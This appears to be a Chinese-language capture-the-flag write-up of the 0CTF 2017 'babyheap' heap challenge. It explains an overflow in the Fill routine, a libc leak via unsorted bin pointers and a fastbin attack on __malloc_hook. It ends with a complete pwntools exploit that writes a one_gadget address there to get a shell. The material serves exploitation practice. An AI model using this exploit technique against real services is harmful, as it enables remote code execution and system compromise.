babyheap_0ctf_2017

在這裏插入圖片描述
保護全開,一般就是堆題了,沒有符號表
在這裏插入圖片描述

我們特別看一下填充的地方,Fill時候輸入的size直接傳入read函數,所以存在溢出。
在這裏插入圖片描述

利用思路:

  • 利用unsorted bin地址泄露libc基地址
  • 利用 fastbin attack將chunk分配到malloc_hook附近

首先我們要分析一下如何才能讀取到unsorted bin的地址,因爲unsoted bin是一個雙向鏈表的結構,存在fd指針和bk指針,我們知道只有在chunk處於free的狀態纔會存在fd和bk指針,但是我們又要能拿到這個數據?答案就是一個雙重指針,兩個指針可以訪問同一個位置,一個指針已經將這塊內存給free掉了,free的指針就會使得bk和fd位置被寫入數據,但是另一個指針還可以正常使用,正常使用的指針就能夠讀取到fd和bk位置的數據了。

拿到unsorted bin的地址後,(與main_arena的偏移爲0x58,與libc的偏移爲0x3c4b20)就可以拿到libc的基地址。

接下來就是利用fastbin將chunk分配到malloc_hook的位置(該hook位置當每次執行malloc一類函數時都一定會調用),對該位置進行shell寫入,當再調用allocate時,就會執行我們的shell拿到權限!

下圖是main_arena的結構,從圖中可以看到unsorted bin相對於main_arena的偏移
在這裏插入圖片描述
下圖是僞造的chunk位置,需要對該__malloc_hook位置進行寫入操作
在這裏插入圖片描述
exp

from pwn import *

context(log_level ='debug')
porc_name = './babyheap_0ctf_2017'
libc = ELF('./libc-2.23.64.so')
p = process(porc_name)
print(proc.pidof(p))
# p = remote('node3.buuoj.cn', 29322)


def allocate(size):
	p.recvuntil('Command:')
	p.sendline('1'.encode())
	p.sendline(str(size))
	

def fill(index, content):
	p.recvuntil('Command:')
	p.sendline('2'.encode())
	p.sendline(str(index))
	p.sendline(str(len(content)))
	p.sendline(content)

def free(index):
	p.recvuntil('Command:')
	p.sendline('3'.encode())
	p.sendline(str(index))
	
def dump(index):
	p.recvuntil('Command:')
	p.sendline('4'.encode())
	p.sendline(str(index))
	p.recvuntil('Content:')

log.success('libc_address')

allocate(0x10) # chunk 0
allocate(0x10) # chunk 1
allocate(0x100) # chunk 2
fill(0, 'a'.encode() * 0x10 + p64(0) + p64(0x41))
fill(2, 'b'.encode() * 0x10 + p64(0) + p64(0x111))
free(1)
allocate(0x30)
fill(1, 'c'.encode() * 0x10 + p64(0) + p64(0x111))
allocate(0x100) # chunk 3
free(2)
dump(1)
main_arena_addr = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) - 0x58
print(main_arena_addr)
libc_base = main_arena_addr - 0x3c4b20

log.success('fake_chunk')
malloc_hook_addr = libc_base + libc.sym['__malloc_hook']
fake_chunk = malloc_hook_addr - 0x23
print(fake_chunk)
allocate(0x60) #  2
allocate(0x60) #  4
free(4)
fill(2, 'a'.encode() * 0x60 + p64(0) +p64(0x71) + p64(fake_chunk))
allocate(0x60)
allocate(0x60) # 5
# pause()
one_gadget_addr = libc_base + 0x4526a 
fill(5, 'a'.encode() * 0x13 + p64(one_gadget_addr))
allocate(0x110)
p.interactive()

在這裏插入圖片描述

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章